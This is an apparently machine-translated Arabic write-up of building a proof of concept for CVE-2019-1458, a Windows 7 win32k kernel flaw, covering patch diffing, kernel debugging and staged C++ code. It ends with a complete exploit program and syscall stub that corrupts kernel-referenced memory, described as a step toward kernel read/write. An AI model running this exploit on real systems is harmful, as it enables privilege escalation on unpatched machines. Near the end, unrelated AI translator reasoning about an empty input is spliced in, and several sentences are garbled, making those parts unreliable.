
إثبات المفهوم لـ cve-2019-1458
في ديسمبر نشرت كاسبرسكي تدوينة حول [استغلال 0day المستخدم في البرية][1]. أثار ذلك اهتمامي لأنه على الرغم من وصفهم لكيفية عمل الاستغلال، لم يقدموا أي POC في تحليلهم.
لهذا قررت محاولة كتابة POC لهذه الثغرة بالاعتماد على تدوينة كاسبرسكي وتحليل التصحيح.
تصف هذه التدوينة رحلتي في فعل ذلك.
أول شيء كان جمع أكبر قدر ممكن من المعلومات حول هذه الثغرة. بقراءة التدوينة المذكورة استخرجت المعلومات التالية:
NtUserMessageCallwin32k!DrawSwitchWndHiliteبالإضافة إلى ذلك، هناك لقطة شاشة جميلة للكود المُفكك تُظهر بعض الأشياء المذكورة سابقًا.
على وجه الدقة، تُظهر: إنشاء نافذة التبديل، استدعاء دالة باسم toggle_alt_key واستدعاءات متعددة لـ NtUserMessageCall.
[مصدر الصورة][1]
الكثير من المعلومات المفيدة، لكنها لا تزال لا تصف كيفية عمل هذه الثغرة بالضبط وكيفية تفعيلها.
[الوحدة المتأثرة كانت win32k.sys][2]. قمت بتحميل النسختين المصححة وغير المصححة من هذه الوحدة.
بالنسبة لـ Win7 x64 كانت هاتان:
يمكن تنزيلهما من [Microsoft Update Catalog][3]
إليك نتيجة bindiff لمقارنة النسختين

بعد استبعاد الدوال المرتبطة بوظيفة DebugHook، كل ما يتبقى لنا حقًا هو هذه الدالة المتغيرة قليلًا InitFunctionTables()

بالتأكيد ليس أكبر تصحيح في العالم.
لن يساعد هذا في تحديد السبب الجذري لهذه الثغرة فورًا. لكن من الجدير بالملاحظة أنه تمت إضافة بعض القيم الأولية للمتغيرات عند
*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180). لذلك قد يكون هذا خطأ متعلقًا بمتغير غير مهيأ.
في هذا القسم سأعرض كيف بنيت POC الذي يفعّل هذه الثغرة تدريجيًا، مع اكتشاف ماهية الثغرة في الوقت نفسه.
لم تقدم مقارنة التصحيحات الكثير من المعلومات المفيدة في البداية، لذلك اعتمدت بشكل أساسي على تدوينة كاسبرسكي في المرحلة الأولى من التطوير.
للحصول على بيئة اختبار جيدة، أعددت جهازًا افتراضيًا (VM) بنظام Win7 SP1 x64 يعمل بأحدث نسخة معرضة للثغرة من win32k. بالإضافة إلى ذلك، ربطت Windbg بهذا الجهاز الافتراضي للقيام بتصحيح أخطاء النواة، وأثناء ذلك قمت أيضًا بإعداد مسار خادم الرموز.
بدأت تحقيقي بالنظر إلى win32k!DrawSwitchWndHilite التي ذُكرت في التدوينة. يتم استدعاؤها من مكانين: xxxMoveSwitchWndHilite و xxxPaintSwitchWindow، والأخيرة لفتت انتباهي فورًا بسبب استدعاءات GetKeyState/GetAsyncKeyState المحيطة بها والتي ذُكرت في التقرير الأصلي. والأكثر من ذلك أن هذه الاستدعاءات تتحقق من كون مفتاح ALT مضغوطًا.

استدعاء DrawSwitchWndHilite من xxxPaintSwitchWindow
بمتابعة مراجع الاستدعاء المتقاطعة (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite) وجدت أن العنصر الأول في تلك السلسلة مُشار إليه في InitFunctionTables، الدالة التي تم إصلاحها في التصحيح.
بعد ذلك نظرت في NtUserMessageCall من لقطة شاشة الكود المُفكك.
إليك تعريف هذه الدالة```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
يستدعيها الاستغلال مع `msg = 0x14` و `dwType = 0xE0`. لنرَ ما الذي يفعله.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
هنا قمت بتسجيل فئة نافذة بسيطة وأنشأت نافذة من تلك الفئة. ثم استدعيت NtUserMessageCall بنفس معاملات الاستغلال. لمعرفة ما يحدث داخل الكود، قمت بتعيين نقطة توقف kd> ba e 1 win32k!NtUserMessageCall وتشغيل الكود.
يتم إجراء عدد غير قليل من الاستدعاءات لهذه الدالة، لذا كان عليّ التقاط الاستدعاء الصحيح، لكن الأمر لم يكن بهذه الصعوبة؛ كان الاستدعاء ذا مكدس استدعاء قصير جدًا.

NtUserMessageCall
عند التنقل في الكود تبيّن أنها تستدعي دالة من مصفوفة gapfnMessageCall؛ يُحسب الفهرس بناءً على قيمة msg ويساوي 0، لذلك يتم الاستدعاء إلى NtUserfnDWORD.

NtUserfnDWORD
الاستدعاء التالي يتم باستخدام قيمة dwType، والآن إزاحة gpsi تساوي 0x40، ويؤدي الاستدعاء إلى xxxWrapSwitchWndProc (هذه الدالة ظهرت بالفعل عندما كنت أفحص سلسلة استدعاءات DrawSwitchWndHilite).
xxxWrapSwitchWndProc تستدعي ببساطة xxxSwitchWndProc.

xxxSwitchWndProc
وهذه هي النهاية؛ يفشل الكود هنا ولا يتقدم أكثر إلى xxxPaintSwitchWindow، وهو المكان الذي نريد الوصول إليه بناءً على قيمة msg (0x14). دعنا نتحقق من السبب.
يفشل الكود في هذه المرحلة لأنه، كما هو موضح في الصورة السابقة، قيمة fnid لنافذتنا لا تساوي 0x2A0 (FNID_SWITCH) والرسالة التي نرسلها لا تساوي 1، وبالتالي ننتهي في xxxDefWindowProc. لتجنب هذا السيناريو، يجب علينا استدعاء xxxSwitchWndProc مع ضبط قيمة fnid إلى FNID_SWITCH، حتى ننتقل مباشرة إلى جملة switch ثم إلى xxxPaintSwitchWindow.
كيف نضبط قيمة fnid الصحيحة؟ في الواقع، الدالة نفسها تقوم بذلك في كتلة if الأولى؛ كل ما علينا فعله هو إفشال جميع الفحوصات داخلها للوصول إلى التعليمة التي تضبط fnid.
إليك الشروط التي يجب تحقيقها لإفشال فحوصات if الثلاثة:
fnid == 0 و cbwndExtra + 0x128 >= *(gpsi + 0x154)0 لكل نافذة مستخدم منشأة حديثًا.
*(gpsi+0x154) تساوي 0 في win32k! غير المُرقّع. ولكن حتى لو تم تعيينها إلى 0x130، كما في الإصدار المُرقّع، يمكننا ضبط cbwndExtra إلى 8 أو أكثر وما زال بإمكاننا تجاوز الفحص الأول.msg == 1NtUserMessageCall. ومع ذلك، مع ضبط msg إلى 1، يمر تدفق التحكم عبر NtUserfnINLPCREATESTRUCT بدلاً من NtUserfnDWORD، لكنه لا يزال ينتهي في xxxSwitchWndProc.إذا تحققت جميع هذه الشروط، سيتم تعيين قيمة fnid للنافذة إلى FNID_SWITCH.
إذن نحتاج الآن إلى استدعاء NtUserMessageCall مرتين: الأولى بقيمة msg تساوي 1 لتعيين fnid المطلوب، والثانية للوصول إلى xxxPaintSwitchWindow.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
لقد أضفت `extraData` إلى فئة النافذة وأضفت استدعاءً ثانيًا إلى `NtUserMessageCall`. الآن أصبح تدفق التحكم قادرًا على الوصول إلى `xxxPaintSwitchWindow`.
(ملاحظة جانبية: لا يلزم أن تكون `dwType` مساوية لـ `0xE0`؛ فالقيمة `0` تعمل أيضًا، لأنها تخضع لعملية AND مع `0x1F` على أي حال داخل `NtUserfnDWORD`)

*`xxxPaintSwitchWindow`*
عند الفحص الدقيق لاحظت أن القيمة `extraWndData` المأخوذة من كائن النافذة (السطر 25) تُستخدم كمؤشر للكتابة إليه (الأسطر 46-52)! إذا تمكنت من الوصول إلى الكود الذي يضبط `extraWndData` على قيمة أتحكم بها، يمكنني إفساد ذاكرة عشوائية!
للوصول إليه، أحتاج أولاً إلى تجاوز فحص إضافي (معلّم بالأحمر)
- تحقق مما إذا كانت النافذة تملك العلم `WS_VISIBLE` مضبوطًا.
يمكن ضبط هذا العلم في `CreateWindowEx`
- `fnid == 0x2A0` و `cbwndExtra + 0x128 == *(gpsi + 0x154)`
تم بالفعل تعيين `fnid` بواسطة أول `NtUserMessageCall`.
تكمن المشكلة في الجزء الثاني من هذا الفحص لأن `*(gpsi + 0x154)` غير مهيّأ في وحدة `win32k` القابلة للاستغلال، وبالتالي سيفشل هذا الفحص دائمًا. إلا إذا قمنا بطريقة ما بتعيين `*(gpsi+0x154)` إلى القيمة الصحيحة. واتضح أن إنشاء نافذة التبديل الخاصة، المذكورة في منشور Kaspersky، يفعل ذلك بالضبط.
- تحقق من أن النافذة لم تُدمَّر.
مُحقَّق بالفعل في هذه الحالة.
لإنشاء [نافذة التبديل][4] الخاصة، نحتاج إلى استدعاء `CreateWindowEx` مع تعيين الاسم إلى `0x8003` (`#32771`). سيؤدي هذا في النهاية إلى استدعاء `InternalRegisterClassEx` في النواة.

*جزء من دالة `InternalRegisterClassEx`*
سيؤدي هذا إلى تهيئة `*(gpsi+0x154)` إلى `0x130`. التأثير الجانبي لذلك هو أنه بمجرد تعيين هذا المتغير، لا توجد طريقة لإعادته إلى 0. لذا لدينا فرصة واحدة فقط لتشغيل الاستغلال. أي محاولات أخرى، حتى إعادة التشغيل التالية، ستفشل.
### التحكم في القيمة التي يُفكّ مرجعها
أصبحت الآن قادرًا على التحكم في `extraWndData`، التي يُفكّ مرجعها لاحقًا كمؤشر ويُكتب فيها داخل `xxxPaintSwitchWindow`. يمكن التحكم في `extraWndData` عن طريق استدعاء```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
شيء يجب أن تضعه في الاعتبار هو أن هذا الاستدعاء يجب أن يتم بعد أول استدعاء لـ NtUserMessageCall، لأنه كما تبيّن فإن xxxSwitchWndProc يحتاج إلى أن يكون extraData الخاص بالنافذة مضبوطًا على 0 في هذا الاستدعاء الأول، لتجاوز الفحوصات اللازمة.
أيضًا يجب استدعاء SetWindowLongPtr قبل إنشاء نافذة التبديل، وإليك السبب:
جزء من دالة xxxSetWindowLong
هنا هو الموضع الذي نستغل فيه فعليًا المتغير غير المُهيأ *(gpsi + 0x154).
عندما يمر هذا الفحص، نضبط wnd->extraData على قيمة عشوائية.
لو كان هذا قد مُهيأ بشكل صحيح، لفشل الاستغلال هنا.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

بعد هذا بوقت قصير نحصل على bugcheck عند إلغاء الإشارة إلى `rdi`.
تشغيل نفس الاستغلال على ويندوز مُحدَّث:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr تفشل مع رمز الخطأ 0x585 بسبب *(gpsi + 0x154) المهيّأ بشكل صحيح. والنواة لا تتعطل.
باختصار، كانت المشكلة الأساسية هي المتغير غير المهيّأ *(gpsi+0x154).
لكن ما هذه القيمة، ولماذا هي مهمة؟
gpsi هو مؤشر عام إلى بنية [tagSERVERINFO][5]. تصف هذه البنية، من بين أمور أخرى، نوافذ النظام (مثل القوائم، وسطح المكتب، ونافذة التبديل، وما إلى ذلك)، على عكس النوافذ التي يعرّفها المستخدم.
تُعرَّف نوافذ النظام هذه بواسطة FNID الخاص بها، على سبيل المثال 0x2A0 يعني نافذة التبديل.
عندما يتم تعريف فئة النافذة باستخدام RegisterClassEx، تتاح لنا الفرصة لتحديد الحقل cbWndExtra في WNDCLASSEX؛ يصف هذا الحقل عدد البايتات الإضافية التي سيتم تخصيصها بالإضافة إلى بنية tagWND، لتخزين بعض المعلومات الخاصة بالنافذة.
ثم نتمكن من تعديل تلك البايتات الإضافية باستخدام SetWindowLongPtr.
تستخدم نوافذ النظام نفس الآلية تمامًا لتخزين البيانات الإضافية التي تحتاجها للعمل. لكن من حيث المبدأ، لا ينبغي أن تكون هذه البيانات قابلة للوصول باستخدام SetWindowLongPtr.
ورأينا أنه يوجد بالفعل فحص في xxxSetWindowLongPtr من المفترض أن يمنع ذلك. بعد تطبيق معلومات الأنواع، يكون هذا هو الفحص:```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
Array `gpsi->mpFnid_serverCBWndProc` يصف حجم كائن نافذة النظام المعطى بما في ذلك البيانات الإضافية.
`*(gpsi+0x154)` يصبح `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
بترك هذا الحقل غير مهيأ، يظن `xxxSetWindowLongPtr` أن حجم البيانات الإضافية هو `-sizeof(tagWND)`، وبالتالي نتمكن من الكتابة في حقل يفترض أن يكون خاصًا ببنية نافذة التبديل.
السبب الجذري لهذه الثغرة كان متغيرًا غير مهيأ (أو بالأحرى مهيأً إلى 0 افتراضيًا) `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
هذا يفسر لماذا كان التصحيح صغيرًا جدًا. كل ما كان مطلوبًا فعله هو تعيينه إلى `sizeof(tagWND) + 8`. وبنفس الطريقة، أصبحت الآن عناصر المصفوفة الأخرى `mpFnid_serverCBWndProc` مهيأةً والتي لم تكن كذلك سابقًا (`FNID_DESKTOP`, `FNID_TOOLTIPS`)، ربما أيضًا لمنع أي متغيرات مستقبلية من هذا الاستغلال.

## إتلاف الذاكرة
مع الحالة الحالية للاستغلال، نتمكن من إحداث bugcheck، لكن الانهيار يحدث عند التعليمات:```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
ستكون الخطوة الأخيرة في تجهيز هذا الـ POC إذن هي تحفيز تعطل أكثر فائدة، أو الأفضل من ذلك، إفساد بعض الذاكرة دون أن يحدث أي تعطل إطلاقًا.
لتحقيق هذا الهدف الأخير، نحتاج إلى:
VirtualAlloc وتمرير المؤشر المُعاد إلى SetWindowLongPtrGetKeyState/GetAsyncKeyState في xxxPaintSwitchWindow تتحقق مما إذا كان مفتاح ALT مضغوطًا. وإذا لم يكن الأمر كذلك، تخرج الدالة.GetKeyState أو GetAsyncKeyState بناءً على علامة في [extraWndData+6Ch].
اخترت محاكاة الضغط على ALT باستخدام استدعاء إلى SetKeyboardState. سيعمل هذا فقط مع GetKeyState، لذا أحتاج إلى تعيين القيمة عند الإزاحة 0x6C إلى `1````cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
بهذا الكود حصلت على تعطّل مختلف.```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
لذلك أقدم أيضًا مؤشرًا صالحًا عند الإزاحة 0x20 (يشير إلى نفسه)```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
الآن يعمل الاستغلال دون أن يتعطل، وعندما نفحص محتوى الصفحة المخصصة يمكننا أن نرى أنه تم تعديله!

لقد حققنا POC استغلال مستقرًا يفسد الذاكرة المقدَّمة له. هذه حالة أفضل بكثير من POC الذي يتعطل عند قراءة الذاكرة، لأن هذا الإفساد العشوائي للذاكرة يمكن تحويله بسهولة أكبر إلى قراءة/كتابة عشوائية على مستوى النواة. بالإضافة إلى ذلك، استخرجنا بالفعل المتطلبات التي يجب أن تستوفيها الذاكرة المراد إفسادها.
## الاستنتاج
في هذا الشرح التفصيلي، عرضت كيف انتقلت من وصف الاستغلال والثغرة إلى POC عملي يمكن تحويله إلى استغلال نواة مفيد.
كان هذا استغلالًا مثيرًا للاهتمام أصبح ممكنًا بسبب سطر واحد مفقود. لذا أعتقد أن الدرس المستفاد هو أنه يجب دائمًا تهيئة المتغيرات العامة.
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
" which is not user content. Actually in the given prompt, after "INPUT:" there is a blank line then "Translating...". Wait, the message I see: "INPUT:" then newline, then maybe the next line is "```" or something? Let's re-read the actual user content carefully.
The user message as displayed:
"Translate the following Kitploit tool content. This is chunk 25 of 27 from a longer Markdown document being translated in sequence. The source language is en. Target language: ar. Content type: README chunk 25/27.
CHUNK-SPECIFIC RULES:
INPUT:"
Then after that, the next line is "Translate the following Kitploit tool content."? No, that's the beginning. Actually the user message ends with "INPUT:" and then a blank line, and then possibly the application/system added "Assistant:"? In the conversation, the user's message is the entire block. So indeed there is no content after "INPUT:". It's empty.
Given this, we cannot produce a meaningful translation. However, we could respond with an empty message. But the platform may expect some content. The safest is to output an empty string. But the instructions say "Return ONLY the translated text." If there is no source text, translation is empty. So I'll output nothing.
But wait, the instruction "This is chunk 25 of 27" implies there is content, but maybe the content is missing due to a technical error. We shouldn't hallucinate. So output empty.
I'll send an empty response.```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
extraData == 0cbwndExtra المذكور. يتم إلحاق ExtraData مباشرة بعد بنية tagWND (أضفت هذا الحقل إلى بنية tagWND في IDA كـ QWORD عند الإزاحة sizeof(tagWND)، لجعل الكود المُفكك أفضل قليلًا). يمكن تعيين قيمته عبر استدعاء SetWindowLongPtr.